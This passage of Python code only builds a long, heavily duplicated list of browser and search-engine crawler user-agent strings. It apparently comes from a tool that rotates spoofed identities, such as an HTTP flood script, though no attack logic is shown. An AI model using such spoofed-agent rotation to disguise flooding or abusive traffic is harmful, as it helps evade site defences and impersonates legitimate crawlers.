Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)') headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)') headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)') headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7') headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com') headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)') headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)') headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)') headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)') headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)') headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)') headers_useragents.append('BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)') headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)') headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)') headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )') headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1') headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)') headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A') 